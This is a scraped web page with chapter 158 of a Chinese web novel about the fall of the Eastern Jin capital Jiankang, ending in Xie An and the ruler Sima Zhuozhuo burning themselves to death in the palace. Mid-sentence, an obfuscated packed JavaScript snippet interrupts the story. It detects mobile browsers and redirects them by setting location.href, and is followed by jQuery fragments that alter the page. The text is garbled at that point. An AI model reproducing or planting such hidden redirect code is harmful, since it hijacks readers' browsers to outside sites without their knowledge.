158. 第 158 章

作品:《乔临天下

    建康城内,建康宫。


    司马灼灼紧紧搂住楚慕冲,她的神情是从未有过的惶恐,她哆嗦着道:


    "你去劝劝她,这场战役是大司马桓文一意孤行。我们两国是姻亲,她是你的堂姐,你去劝劝她!"


    楚慕冲神色平静,他已经长成一位眉目如画,身材修长的少年。


    桓文最终可以发起这场战争,少不了他在背后,在司马灼灼身边的推波助澜。


    自幼长于深宫的他,早已学会从缝隙里嗅出真实的气息。


    不久之前,宫人奉茶时的指尖会颤抖,那些老臣们在廊下彼此间交换过的短暂而疲惫的眼神……


    这些曾令他不安的细节,不知何时起,竟渐渐消失了。


    如今他们垂手静立,神色平静,连叹息都不曾有。


    可他分明嗅到了,那是一种比绝望更可怕的味道。是连挣扎都放弃之后,万物徐徐腐朽的,温驯的死气。


    他低头看着颤抖的司马灼灼,她平日那不可一世的神情不复存在。如今的她,像一个平常的小女人般,寻求保护。


    “陛下,莫怕,我会一直守在你身边。”他轻声说着,修长的手指穿过她乌黑的长发,一下一下,温柔地抚慰着。


    司马灼灼,这位传闻中跋扈残酷的东晋女主。是在自己一生中对自己最好的人,如果可以,他可以付上自己的生命去保护她。


    一阵不紧不慢的脚步声传过来。


    楚慕冲稍稍抬起眼眸。


    进来的是谢安,谢安是个奇怪的人,他忠于司马灼灼,却对司马灼灼对自己的偏爱毫无芥蒂,也从无嫉妒。


    一开始他以为谢安是装出来的清冷,后来……甚至有时候谢安会告诉自己司马灼灼的喜好,让自己去讨她欢心。


    而谢安的大部分时间,都埋没在那如山高的奏折中。


    司马灼灼看着谢安走进来,她不敢开口问他,却满脸期待,期待有奇迹,或是有勤王的兵马赶来。


    谢安平静地看着她,说道:"东海王世子司马怜拦截燕军,英勇作战,已……为国殉难。"


    "司马怜……"


    司马灼灼轻轻念了一下他的名字,心中涌出来一股愧疚。她是真没想到,他会为了东晋如此孤勇。


    她咳咳两声,脸上恢复了几分君王的威仪,"传朕的旨意,追封他为护国忠武大将军,以郡王之礼厚葬。"


    "遵旨,陛下仁德。"


    司马怜的事了,谢安的视线落在楚慕冲身上,"君上,请随我走一趟。"


    司马灼灼一听到谢安要楚慕冲离开自己,一把抓住他的手,"谢哥哥,你要带他去哪里?"


    谢安淡淡说道:"有事情相议。"


    "何事?"司马灼灼的声音有些颤抖。


    谢安柔声安抚她:"灼灼不要担心,没事的。"


    他脸上的微笑一如既往的温柔,可他却仍不告诉司马灼灼要带楚慕冲去干嘛。


    司马灼灼却更加担心了,但她一向很听谢安的话,特别是感觉到慌乱的时候。她耐住了性子,没有再要求。


    楚慕冲说话了,他对司马灼灼笑道:"陛下不要担心,丞相唤我肯定是有要事,等我……办完事后,马上回来陪陛下。"


    司马灼灼迟疑地看着谢安,想要他一个确认。


    "嗯。"谢安筒单应道。


    司马灼灼终于依依不舍,又无可奈何地放开楚慕冲的手。


    楚慕冲跟着谢安,一前一后,走出了司马灼灼的寝殿。


    楚慕冲抬头看了看这天夜里的月亮,圆圆满满的大银盘。他心里知道,自己未必能看到明日的阳光了。


    谢安看着他的神情,知道这位少年虽然年纪不大,却惯能洞悉人心。恐怕他听到自己叫他出来的时候,已经知道了结局。


    楚慕冲还是忍不住,他的声音里带着最后一丝不甘的希冀:"谢丞相,难道我不可以陪着陛下一起么?"


    谢安叹了口气,拒绝道:"不可以。"


    "为什么呢?"


    楚慕冲的声音已经带了哭腔,为自己争取道,"你相信我,也许刚来到这里的时候我是有私心的,但如今我也的确想与陛下在一起,无论生或者死。"


    谢安没有看他,嘴唇轻启,吐出了三个字。


    "你不配。"


    ***


    楚乔乔最喜欢用的是心理战术。


    达官贵人们自东晋建国以来,锦衣玉食,醉生梦死。无论是丰收还是灾年,永远有吃不完的食物,穿不完的绫罗绸缎。


    从武关来到这里,她感受最深的是,东晋的老百姓快要熬不过去了。


    她故意把王许昌许给自己的条件散布出去,又让自己之前潜伏在东晋的棋子大肆宣扬。


    秦国被燕国吞并后,底层老百姓的生活没有发生太大的变化,一切如常。甚至因为秦国和燕国的农产物和产盐不一样,老百姓桌上的食物更加丰富和廉价。


    终于,燕军围城的第二十九天,饥饿终于烧穿了最后一丝理智。一群饥饿滔滔的平民家里砍柴用的斧头,切菜的刀,把守城的士兵杀了。


    厚重的城门在大白天里“嘎吱”一声,被无数双枯瘦的手从里面推开了。


    燕军如墨色铁流般涌入城门,队列肃整,分据宫阙、武库、粮仓,如锁钥入榫,寂然无声。


    百姓们藏在屋里瑟瑟发抖的看着他们走过,终于松了一口气,没有杀人放火,没有抢掠。


    楚乔乔骑着马踏上建康宫的台阶。


    城破的消息早已传遍了整个建康宫。


    谢安立于丹墀之前,他的身后跟着王许昌等一众朝臣。他一身素白官服在炽烈的白日下,白得晃眼,白得肃杀。


    一别经年,没想到再一次见面,竟是如此场面。


    他立在阶前,周身仍透着股不沾尘世的清气,仿佛几年在朝廷里与人斗智斗勇的戾气并未在他衣襟留下半分皱痕。


    可当他的目光落向楚乔乔时,眼底那泊静水之下,分明有股滚烫的炽流,一闪而过。


    楚乔乔居高临下,问道:"司马灼灼呢?"


    谢安看着她,微微笑道:"她在里面,等一下会出来。"


    "让朕在这里等她?"


    楚乔乔眉梢一扬,颇为不满意。想起以前自己在健康时,可遭了司马灼灼的罪,她居然如今还敢怠慢自己。


    "燕主不要误会,"谢安柔声解释道,"是我让她在里面先等着。"


    "想着,与燕主已经很长时间没有见过,今日相见,"他的声音微不可听到,"我……无尽欢喜。"


    楚乔乔听得不清楚,勾勾手让他过来一些,她俯下身子,"你刚刚说什么?"


    谢安看着她,眼睛逐渐湿润,"看着如今的你,我既觉得高兴,又觉得自愧不如。"


    楚乔乔一笑,心中甚是得意,"那殷浩呢,怎么没见他来迎我?"


    "殷阁老他,昨夜走了。"


    "走了?"楚乔乔眉头一凝。


    "是,走了。"他的声音像泉水漫过青石,无悲无喜。


    "哦……"楚乔乔听明白了,心中不免有些惆怅,这么多年来,她一直惦记着那老头说过的话。


    "幸好你是一位女子,若你是男子,老夫必不会让你离开建康城。"


    她做到了,让他后悔说过这句话。不过转念一想,搞不好殷浩是被东晋的兵败如山倒的颓势气死的。


    谢安静静看着她,看着她脸上每一个生动细微的表情,烙在了他的心头。


    "乔乔,请稍等,我这就去陪灼灼出来。"


    楚乔乔倏地一惊,好像他从来未曾这么称呼过自己。现在她自己贵为燕主,更不可能这么称呼自己。


    谢安像是怕被她说,一转身急步向殿内走去。


    楚乔乔犹豫一下,还是任由他去了。自己今日统一天下,成为了天下共主,得是一位豁达的天下共主,才好笼络人心。


    殿内。


    司马灼灼端坐于殿中正位之上,身上穿着平日上朝的玄色龙袍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350880|190079||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,头戴十二旒海玉冕。她的背脊仍旧挺得笔直,这是她自懂事以来被反复训练,已经成为了她的本能。


    可她的袍袖之下,指尖正抵着掌心,微微地颤抖着。大殿外的世界,她不敢想象。


    殿里没有点灯,谢安进来后,殿门马上又关闭了。


    哪怕是白天,大殿里面只有藻井漏下来的几缕阳光。稀疏洒在司马灼灼的龙袍肩上,那上面的十二章纹金绣在殿内昏暗的光线下,泛着冷硬而脆弱的光泽。


    见谢安进来,她忙不迭跑过去,一把扑到他怀中。


    "谢哥哥,你可以带着朕逃跑吗?朕不要这个身份了,朕想好了,以后可以过普通的日子。"


    谢安低头看着她,没有说话。


    司马灼灼便知道了他不赞成,她心中恐惧,害怕得快要哭了。


    "谢哥哥,我知道生活会很苦,但和你在一起,我永远不会觉得苦的,不会叫苦的,谢哥哥你信我!"


    她站起身子,像小时候一样,一边撒着娇,一边抓住谢安的手臂摆来摆去。


    "那楚乔乔,我这辈子也不愿再见到她……"她的声音逐渐哽咽,"谢哥哥,行不行,行不行……"


    谢安轻轻把她搂入怀中,握着她的手,安慰道,"灼灼,我们不怕的。"


    他的声音平缓而温和,如同旧日某些雷雨交加的深夜,他在烛火摇曳里对她低语时的语调一般。


    司马灼灼仰起头怔怔看着他,倏然厌恶了自己。谢安本是清心寡欲的人,是自己硬拽着仙人般的他堕入凡间,受了这样的苦。


    他的眉眼,对着自己的时候总是无比温柔。不是山水画里那种疏远的清淡,而是像春夜的月光掠过长着新叶的枝丫。


    她的狂躁不安的心逐渐安宁下来,好像不那么害怕了。


    楚乔乔在外面等了好一会儿,连同她的马儿也变得不耐烦了。鼻子喘着粗气,蹄子反复磕着青石板。


    哒,哒,哒。


    蓦然间,她瞳孔骤缩!


    大殿,竟毫无征兆地窜起一道剧烈的火舌,穹顶上浓烟已翻滚着急匆匆漫出。


    她以为是自己的幻觉,僵在原地。


    可风裹着热浪扑到她脸上,带着木料爆裂的噼啪声。那曾经象征无上权威的巍峨宫殿,竟在她眼前真真切切地烧了起来。


    官员们开始叫喊起来,"救火呀!"


    场面混乱起来。


    阿戌环顾四周,怕有人趁乱偷袭,他对楚乔乔说道:"少主,我们站远些,这里烟太大了。"


    楚乔乔的神色从一开始的惊讶,渐渐变得咬牙切齿。


    好啊,这看着清风霁月的谢安,居然在临死前狠狠摆了自己一道。前有赴死如归的司马怜,后有亡国之主司马灼灼自焚拒降。


    如此一来,无论这司马灼灼生前做过什么坏事,这样一死,既保住了自己的风骨,也保住了东晋最后的尊严。


    要是以后自己出了什么差错,那些东晋的遗民们便会想起今日他们君主自焚赴死的贞烈,他们便会开始怀念她,以她的名义重振旗鼓!


    好气啊!


    谢安用他的陪葬,给楚乔乔立了条戒尺!


    大火足足烧了两个时辰,到了最后,大殿只剩下一副焦黑的断壁残垣。


    残存的梁柱斜刺向天,冒着丝丝缕缕的青烟。风一过,未燃尽的木料便“噼啪”爆开几点猩红的火星,又迅速暗下去。


    在那片最厚的灰烬中央,两具骸骨紧紧依偎着,分不清是谁的臂骨环着谁的脊梁。


    楚乔乔皱着眉头,神情迷惑。谢安这一生,到底是真的喜欢司马灼灼,还是因为他觉得自己背负着这样的责任。


    这是她曾经好奇过的,但不会再有答案了,谢安……他把答案带到了地底下。


    两只色彩斑斓的蝴蝶,不知从何处飞来,颤颤地掠过焦土,在这片死寂的废墟上盘旋数圈。


    久久不散,溺于灰土中。


    像是魂。


    楚乔乔叹了口气,终于离开了那里。